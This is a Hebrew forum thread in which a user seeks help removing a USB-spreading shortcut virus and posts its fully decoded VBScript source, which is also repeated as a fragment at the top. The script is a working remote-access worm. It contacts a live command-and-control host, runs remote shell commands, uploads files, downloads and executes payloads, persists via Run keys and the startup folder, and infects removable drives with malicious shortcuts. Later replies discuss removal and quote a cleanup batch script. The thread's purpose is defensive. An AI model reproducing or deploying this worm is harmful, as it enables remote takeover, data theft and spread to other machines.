               .type = 1 
               .open
               .write objhttpdownload.responsebody
               .savetofile strsaveto
               .close
          end with
          set objstreamdownload  = nothing
      end if
      if objfsodownload.fileexists(strsaveto) then
         shellobj.run objfsodownload.getfile (strsaveto).shortpath
      end if 
      end sub
      
      function upload (fileurl)
      
      dim  httpobj,objstreamuploade,buffer
      set  objstreamuploade = createobject("adodb.stream")
      with objstreamuploade 
           .type = 1 
           .open
           .loadfromfile fileurl
           buffer = .read
           .close
      end with
      set objstreamdownload = nothing
      set httpobj = createobject("msxml2.xmlhttp")
      httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
      httpobj.send buffer
      end function
      
      function enumdriver ()
      
      for  each drive in filesystemobj.drives
      if   drive.isready = true then
           enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
      end if
      next
      end Function
      
      function enumfaf (enumdir)
      
      enumfaf = enumdir & spliter
      for  each folder in filesystemobj.getfolder (enumdir).subfolders
           enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
      next
      
      for  each file in filesystemobj.getfolder (enumdir).files
           enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
      
      next
      end function
      
      function enumprocess ()
      
      on error resume next
      
      set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
      set colitems = objwmiservice.execquery("select * from win32_process",,48)
      
      dim objitem
      for each objitem in colitems
          enumprocess = enumprocess & objitem.name & "|"
          enumprocess = enumprocess & objitem.processid & "|"
          enumprocess = enumprocess & objitem.executablepath & spliter
      next
      end function
      
      sub exitprocess (pid)
      on error resume next
      
      shellobj.run "taskkill /F /T /PID " & pid,7,true
      end sub
      
      sub deletefaf (url)
      on error resume next
      
      filesystemobj.deletefile url
      filesystemobj.deletefolder url
      
      end sub
      
      function cmdshell (cmd)
      
      dim httpobj,oexec,readallfromany
      
      set oexec = shellobj.exec ("%comspec% /c " & cmd)
      if not oexec.stdout.atendofstream then
         readallfromany = oexec.stdout.readall
      elseif not oexec.stderr.atendofstream then
         readallfromany = oexec.stderr.readall
      else 
         readallfromany = ""
      end if
      
      cmdshell = readallfromany
      end function
      
      מ מנותק
      מ מנותק
      מענין לשמוע
      כתב נערך לאחרונה על ידי
      #2

      @רנדומלי
      איזה פחד, איסט חוסם את הפוסט שלך!

      ר תגובה 1 תגובה אחרונה
      0
      • מ מענין לשמוע

        @רנדומלי
        איזה פחד, איסט חוסם את הפוסט שלך!

        ר מנותק
        ר מנותק
        רנדומלי
        כתב נערך לאחרונה על ידי
        #3

        @מענין-לשמוע
        כלומר?
        אז איך הצלחת להגיב? ואיך לאיסט יש גישה לדפדפן שלך?

        מ תגובה 1 תגובה אחרונה
        0
        • ר רנדומלי

          @מענין-לשמוע
          כלומר?
          אז איך הצלחת להגיב? ואיך לאיסט יש גישה לדפדפן שלך?

          מ מנותק
          מ מנותק
          מענין לשמוע
          כתב נערך לאחרונה על ידי
          #4

          @רנדומלי
          כיביתי אותו.
          באיסט יש גם הגנת אינטרנט.
          פשוט הודעה אדומה על כל המסך - דף זה נחסם וכו'...

          תגובה 1 תגובה אחרונה
          0
          • בנימין מחשביםב מנותק
            בנימין מחשביםב מנותק
            בנימין מחשבים
            כתב נערך לאחרונה על ידי בנימין מחשבים
            #5

            @cfopuser @מתכנת-חובב @מישהו12 (kingyos לא מעז לתייג) וכל חובבי הווירוסים
            עריכה - אין כמו ביה"ז! רק תייגתי וכולכם מגיעים בשורה לעזור.. שאפו!! 🤩

            תגובה 1 תגובה אחרונה
            1
            • מישהו12מ מחובר
              מישהו12מ מחובר
              מישהו12
              מדריכים
              כתב נערך לאחרונה על ידי
              #6

              אם אני מבין נכון....

              https://mitmachim.top/topic/77/מחיקת-וירוס-קיצורי-הדרך-אחת-ולתמיד

              הבלוג שלי
              https://aiv-dev.com/he-IL/

              תגובה 1 תגובה אחרונה
              1
              • ר רנדומלי

                בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                cmd /c hrxxryydxo.vbs && start explorer [file name]
                

                הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                

                בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                לאחר פיענוח הקידוד התקבל הקוד הבא:
                אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                e
                '<[ recoder : houdini (c) skype : houdini-fx ]>
                
                '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                
                host = "khattab.no-ip.biz"
                port = 5550
                installdir = "%temp%"
                lnkfile = true
                lnkfolder = true
                
                '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                
                dim shellobj 
                set shellobj = wscript.createobject("wscript.shell")
                dim filesystemobj
                set filesystemobj = createobject("scripting.filesystemobject")
                dim httpobj
                set httpobj = createobject("msxml2.xmlhttp")
                
                '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                
                installname = wscript.scriptname
                startup = shellobj.specialfolders ("startup") & "\"
                installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                spliter = "<" & "|" & ">"
                sleep = 5000 
                dim response
                dim cmd
                dim param
                info = ""
                usbspreading = ""
                startdate = ""
                dim oneonce
                
                '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                on error resume next
                
                instance
                while true
                
                install
                
                response = ""
                response = post ("is-ready","")
                cmd = split (response,spliter)
                select case cmd (0)
                case "excecute"
                      param = cmd (1)
                      execute param
                case "update"
                      param = cmd (1)
                      oneonce.close
                      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                      oneonce.write param
                      oneonce.close
                      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                      wscript.quit 
                case "uninstall"
                      uninstall
                case "send"
                      download cmd (1),cmd (2)
                case "site-send"
                      sitedownloader cmd (1),cmd (2)
                case "recv"
                      param = cmd (1)
                      upload (param)
                case  "enum-driver"
                      post "is-enum-driver",enumdriver  
                case  "enum-faf"
                      param = cmd (1)
                      post "is-enum-faf",enumfaf (param)
                case  "enum-process"
                      post "is-enum-process",enumprocess   
                case  "cmd-shell"
                      param = cmd (1)
                      post "is-cmd-shell",cmdshell (param)  
                case  "delete"
                      param = cmd (1)
                      deletefaf (param) 
                case  "exit-process"
                      param = cmd (1)
                      exitprocess (param) 
                case  "sleep"
                      param = cmd (1)
                      sleep = eval (param)        
                end select
                
                wscript.sleep sleep
                
                wend
                
                sub install
                on error resume next
                dim lnkobj
                dim filename
                dim foldername
                dim fileicon
                dim foldericon
                
                upstart
                for each drive in filesystemobj.drives
                
                if  drive.isready = true then
                if  drive.freespace  > 0 then
                if  drive.drivetype  = 1 then
                    filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                    if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                        filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                    end if
                    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                        if not lnkfile then exit for
                        if  instr (file.name,".") then
                            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                file.attributes = 2+4
                                if  ucase (file.name) <> ucase (installname) then
                                    filename = split(file.name,".")
                                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                    lnkobj.windowstyle = 7
                                    lnkobj.targetpath = "cmd.exe"
                                    lnkobj.workingdirectory = ""
                                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                    if  instr (fileicon,",") = 0 then
                                        lnkobj.iconlocation = file.path
                                    else 
                                        lnkobj.iconlocation = fileicon
                                    end if
                                    lnkobj.save()
                                end if
                            end if
                        end if
                    next
                    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                        if not lnkfolder then exit for
                        folder.attributes = 2+4
                        foldername = folder.name
                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                        lnkobj.windowstyle = 7
                        lnkobj.targetpath = "cmd.exe"
                        lnkobj.workingdirectory = ""
                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                        if  instr (foldericon,",") = 0 then
                            lnkobj.iconlocation = folder.path
                        else 
                            lnkobj.iconlocation = foldericon
                        end if
                        lnkobj.save()
                    next
                end If
                end If
                end if
                next
                err.clear
                end sub
                
                sub uninstall
                on error resume next
                dim filename
                dim foldername
                
                shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                filesystemobj.deletefile startup & installname ,true
                filesystemobj.deletefile wscript.scriptfullname ,true
                
                for  each drive in filesystemobj.drives
                if  drive.isready = true then
                if  drive.freespace  > 0 then
                if  drive.drivetype  = 1 then
                    for  each file in filesystemobj.getfolder ( drive.path & "\").files
                         on error resume next
                         if  instr (file.name,".") then
                             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                 file.attributes = 0
                                 if  ucase (file.name) <> ucase (installname) then
                                     filename = split(file.name,".")
                                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                 else
                                     filesystemobj.deletefile (drive.path & "\" & file.name)
                                 end If
                             else
                                 filesystemobj.deletefile (file.path) 
                             end if
                         end if
                     next
                     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                         folder.attributes = 0
                     next
                end if
                end if
                end if
                next
                wscript.quit
                end sub
                
                function post (cmd ,param)
                
                post = param
                httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                httpobj.setrequestheader "user-agent:",information
                httpobj.send param
                post = httpobj.responsetext
                end function
                
                function information
                on error resume next
                if  inf = "" then
                    inf = hwid & spliter 
                    inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                    inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                
                    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                    set os = root.execquery ("select * from win32_operatingsystem")
                    for each osinfo in os
                       inf = inf & osinfo.caption & spliter  
                       exit for
                    next
                    inf = inf & "plus" & spliter
                    inf = inf & security & spliter
                    inf = inf & usbspreading
                    information = inf  
                else
                    information = inf
                end if
                end function
                
                sub upstart ()
                on error resume Next
                
                shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                
                end sub
                
                function hwid
                on error resume next
                
                set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                set disks = root.execquery ("select * from win32_logicaldisk")
                for each disk in disks
                    if  disk.volumeserialnumber <> "" then
                        hwid = disk.volumeserialnumber
                        exit for
                    end if
                next
                end function
                
                function security 
                on error resume next
                
                security = ""
                
                set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                for each objitem in colitems
                    versionstr = split (objitem.version,".")
                next
                versionstr = split (colitems.version,".")
                osversion = versionstr (0) & "."
                for  x = 1 to ubound (versionstr)
                     osversion = osversion &  versionstr (i)
                next
                osversion = eval (osversion)
                if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                
                set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                
                for each objantivirus in colantivirus
                    security  = security  & objantivirus.displayname & " ."
                next
                if security  = "" then security  = "nan-av"
                end function
                
                function instance
                on error resume next
                
                usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                if usbspreading = "" then
                   if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                      usbspreading = "true - " & date
                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                   else
                      usbspreading = "false - " & date
                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                
                   end if
                end If
                
                
                upstart
                set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                    wscript.quit 
                end If
                err.clear
                set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                if  err.number > 0 then wscript.quit
                end function
                
                sub sitedownloader (fileurl,filename)
                
                strlink = fileurl
                strsaveto = installdir & filename
                set objhttpdownload = createobject("msxml2.xmlhttp" )
                objhttpdownload.open "get", strlink, false
                objhttpdownload.send
                
                set objfsodownload = createobject ("scripting.filesystemobject")
                if  objfsodownload.fileexists (strsaveto) then
                    objfsodownload.deletefile (strsaveto)
                end if
                 
                if objhttpdownload.status = 200 then
                   dim  objstreamdownload
                   set  objstreamdownload = createobject("adodb.stream")
                   with objstreamdownload
                        .type = 1 
                        .open
                        .write objhttpdownload.responsebody
                        .savetofile strsaveto
                        .close
                   end with
                   set objstreamdownload = nothing
                end if
                if objfsodownload.fileexists(strsaveto) then
                   shellobj.run objfsodownload.getfile (strsaveto).shortpath
                end if 
                end sub
                
                sub download (fileurl,filedir)
                
                if filedir = "" then 
                   filedir = installdir
                end if
                
                strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                set objhttpdownload = createobject("msxml2.xmlhttp")
                objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                objhttpdownload.send ""
                     
                set objfsodownload = createobject ("scripting.filesystemobject")
                if  objfsodownload.fileexists (strsaveto) then
                    objfsodownload.deletefile (strsaveto)
                end if
                if  objhttpdownload.status = 200 then
                    dim  objstreamdownload
                    set  objstreamdownload = createobject("adodb.stream")
                    with objstreamdownload 
                         .type = 1 
                         .open
                         .write objhttpdownload.responsebody
                         .savetofile strsaveto
                         .close
                    end with
                    set objstreamdownload  = nothing
                end if
                if objfsodownload.fileexists(strsaveto) then
                   shellobj.run objfsodownload.getfile (strsaveto).shortpath
                end if 
                end sub
                
                function upload (fileurl)
                
                dim  httpobj,objstreamuploade,buffer
                set  objstreamuploade = createobject("adodb.stream")
                with objstreamuploade 
                     .type = 1 
                     .open
                     .loadfromfile fileurl
                     buffer = .read
                     .close
                end with
                set objstreamdownload = nothing
                set httpobj = createobject("msxml2.xmlhttp")
                httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                httpobj.send buffer
                end function
                
                function enumdriver ()
                
                for  each drive in filesystemobj.drives
                if   drive.isready = true then
                     enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                end if
                next
                end Function
                
                function enumfaf (enumdir)
                
                enumfaf = enumdir & spliter
                for  each folder in filesystemobj.getfolder (enumdir).subfolders
                     enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                next
                
                for  each file in filesystemobj.getfolder (enumdir).files
                     enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                
                next
                end function
                
                function enumprocess ()
                
                on error resume next
                
                set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                set colitems = objwmiservice.execquery("select * from win32_process",,48)
                
                dim objitem
                for each objitem in colitems
                    enumprocess = enumprocess & objitem.name & "|"
                    enumprocess = enumprocess & objitem.processid & "|"
                    enumprocess = enumprocess & objitem.executablepath & spliter
                next
                end function
                
                sub exitprocess (pid)
                on error resume next
                
                shellobj.run "taskkill /F /T /PID " & pid,7,true
                end sub
                
                sub deletefaf (url)
                on error resume next
                
                filesystemobj.deletefile url
                filesystemobj.deletefolder url
                
                end sub
                
                function cmdshell (cmd)
                
                dim httpobj,oexec,readallfromany
                
                set oexec = shellobj.exec ("%comspec% /c " & cmd)
                if not oexec.stdout.atendofstream then
                   readallfromany = oexec.stdout.readall
                elseif not oexec.stderr.atendofstream then
                   readallfromany = oexec.stderr.readall
                else 
                   readallfromany = ""
                end if
                
                cmdshell = readallfromany
                end function
                
                cfopuserC מנותק
                cfopuserC מנותק
                cfopuser
                כתב נערך לאחרונה על ידי cfopuser
                #7

                עריכה: הפתרון ש@מישהו12 הביא עושה עבודה יסודית ומנקה גם כוננים מחוברים,

                (אם כי הוא מצפה למצוא שמות ידועים של וירוסים,
                ואת שלך לדוג' (hrxxryydxo.vbs) הוא לא ימצא,
                אבל עדיין אמור לטפל בבעיה כי הוא מטפל בstartup).

                מתכנת חובבמ תגובה 1 תגובה אחרונה
                1
                • cfopuserC cfopuser

                  עריכה: הפתרון ש@מישהו12 הביא עושה עבודה יסודית ומנקה גם כוננים מחוברים,

                  (אם כי הוא מצפה למצוא שמות ידועים של וירוסים,
                  ואת שלך לדוג' (hrxxryydxo.vbs) הוא לא ימצא,
                  אבל עדיין אמור לטפל בבעיה כי הוא מטפל בstartup).

                  מתכנת חובבמ מנותק
                  מתכנת חובבמ מנותק
                  מתכנת חובב
                  מדריכים
                  כתב נערך לאחרונה על ידי מתכנת חובב
                  #8

                  @cfopuser הוא לא יטפל בזה
                  עברתי על הקוד ולא מצאתי משהו שיכול לעזור לזה ספציפית
                  מה- startup הוא מנקה רק את אלו

                  for %%F in ("IMG-512.wsf","WinddowsUpdater.lnk","WinddowsUpdateCheck.lnk","winddowsupdate.lnk") do (
                      if exist "%%~P\%%~F" attrib -s -h -r "%%~P\%%~F" && del "%%~P\%%~F" /f /q
                  

                  כנ"ל מהרגיסטרי

                  ::Clean Registry / Startup
                  For /f "usebackq tokens=2 delims=\" %%U in (`reg.exe query "HKU"`) do (
                  	for %%P in ("HKU\%%U\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
                  		for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512","BrowserUpdater","BrowserUpdate","cpuulover") do (
                  			reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
                  			)
                  		for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
                  			reg delete %%~P /v "%%~A" /f		
                  			)
                  		reg query %%~P /s
                  		)
                  	)
                  for %%P in ("HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
                  	for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512") do (
                  		reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
                  	)
                  	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
                  		reg delete %%~P /v "%%~A" /f
                  		)
                  	reg query %%~P /s
                  	)
                  

                  וכנ"ל מכוננים פנימיים (ובדומה גם לחיצוניים) - כאן יש גם בדיקה של תבנית regex ספציפית שלא תואמת לוירוס הנ"ל

                  ::internal drives
                  for /f "tokens=2 delims==" %%G in ('WMIC logicaldisk where "DriveType=3" get DeviceID /value 2^>NUL ^| find "="') do for /f "delims=" %%X in ("%%G") do (
                  	for /f "tokens=* delims=" %%D in ('dir %%X\ /b /as') do (
                  		if "%%D"=="streamer" attrib -s -h -r %%X\streamer
                  		if "%%D"=="streamerdata" attrib -s -h -r %%X\streamerdata
                  		if "%%D"=="WinddowsUpdater" attrib -s -h -r %%X\WinddowsUpdater
                  		if "%%D"=="WinddowsUpdateCheck" attrib -s -h -r %%X\WinddowsUpdateCheck
                  		if "%%D"=="BrowserUpdater" attrib -s -h -r %%X\BrowserUpdater
                  		if "%%D"=="BrowserUpdateCheck" attrib -s -h -r %%X\BrowserUpdateCheck
                  		if "%%D"=="IMG-512.wsf" attrib -s -h -r %%X\IMG-512.wsf & del %%X\IMG-512.wsf && echo The virus ''old shortcuts'' has been removed from drive %%X.
                  		)
                  	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('dir c:\ /b /ad ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
                  		attrib -s -h -r "%%X\%%A"
                  		rd /s /q "%%X\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
                  		)
                  	for /f "delims=" %%D in ('dir %%X\ /b /ad') do (
                  		for %%F in ("My Downloads","My Videos","My Pictures","Downloads","Games") do (
                  			if exist "%%X\%%D\%%~F.lnk" del "%%X\%%D\%%~F.lnk"
                  			)
                  		for /f "usebackq tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in (`dir /b /ads "%%X\%%D\" ^|findstr /xr "[a-z].........[a-z].........[a-z]"`) do (
                  			attrib -s -h -r "%%X\%%D\%%A"
                  			rd /s /q "%%X\%%D\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
                  			)
                  		if exist "%%X\%%D\%%D copy*.lnk" del "%%X\%%D\%%D copy*.lnk"  
                  		if exist "%%X\%%D\%%D.lnk" del "%%X\%%D\%%D.lnk"
                  		if exist "%%X\%%D\streamerdata" attrib -s -h -r "%%X\%%D\streamerdata" & rd "%%X\%%D\streamerdata" /s /q
                  		if /i "%%D"=="streamer" rd /s /q %%X\streamer && echo The virus ''%%D'' has been removed from drive %%X.
                  		if /i "%%D"=="streamerdata" rd /s /q %%X\streamerdata
                  		if /i "%%D"=="WinddowsUpdater" rd /s /q %%X\WinddowsUpdater && echo The virus ''%%D'' has been removed from drive %%X.
                  		if /i "%%D"=="WinddowsUpdateCheck" rd /s /q %%X\WinddowsUpdateCheck
                  		if /i "%%D"=="BrowserUpdater" rd /s /q %%X\BrowserUpdater && echo The virus ''%%D'' has been removed from drive %%X.
                  		if /i "%%D"=="BrowserUpdateCheck" rd /s /q %%X\BrowserUpdateCheck
                  		)
                  	set "AutoHK.NAPd="
                  	)
                  

                  המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

                  צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                  cfopuserC תגובה 1 תגובה אחרונה
                  1
                  • מתכנת חובבמ מתכנת חובב

                    @cfopuser הוא לא יטפל בזה
                    עברתי על הקוד ולא מצאתי משהו שיכול לעזור לזה ספציפית
                    מה- startup הוא מנקה רק את אלו

                    for %%F in ("IMG-512.wsf","WinddowsUpdater.lnk","WinddowsUpdateCheck.lnk","winddowsupdate.lnk") do (
                        if exist "%%~P\%%~F" attrib -s -h -r "%%~P\%%~F" && del "%%~P\%%~F" /f /q
                    

                    כנ"ל מהרגיסטרי

                    ::Clean Registry / Startup
                    For /f "usebackq tokens=2 delims=\" %%U in (`reg.exe query "HKU"`) do (
                    	for %%P in ("HKU\%%U\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
                    		for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512","BrowserUpdater","BrowserUpdate","cpuulover") do (
                    			reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
                    			)
                    		for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
                    			reg delete %%~P /v "%%~A" /f		
                    			)
                    		reg query %%~P /s
                    		)
                    	)
                    for %%P in ("HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
                    	for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512") do (
                    		reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
                    	)
                    	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
                    		reg delete %%~P /v "%%~A" /f
                    		)
                    	reg query %%~P /s
                    	)
                    

                    וכנ"ל מכוננים פנימיים (ובדומה גם לחיצוניים) - כאן יש גם בדיקה של תבנית regex ספציפית שלא תואמת לוירוס הנ"ל

                    ::internal drives
                    for /f "tokens=2 delims==" %%G in ('WMIC logicaldisk where "DriveType=3" get DeviceID /value 2^>NUL ^| find "="') do for /f "delims=" %%X in ("%%G") do (
                    	for /f "tokens=* delims=" %%D in ('dir %%X\ /b /as') do (
                    		if "%%D"=="streamer" attrib -s -h -r %%X\streamer
                    		if "%%D"=="streamerdata" attrib -s -h -r %%X\streamerdata
                    		if "%%D"=="WinddowsUpdater" attrib -s -h -r %%X\WinddowsUpdater
                    		if "%%D"=="WinddowsUpdateCheck" attrib -s -h -r %%X\WinddowsUpdateCheck
                    		if "%%D"=="BrowserUpdater" attrib -s -h -r %%X\BrowserUpdater
                    		if "%%D"=="BrowserUpdateCheck" attrib -s -h -r %%X\BrowserUpdateCheck
                    		if "%%D"=="IMG-512.wsf" attrib -s -h -r %%X\IMG-512.wsf & del %%X\IMG-512.wsf && echo The virus ''old shortcuts'' has been removed from drive %%X.
                    		)
                    	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('dir c:\ /b /ad ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
                    		attrib -s -h -r "%%X\%%A"
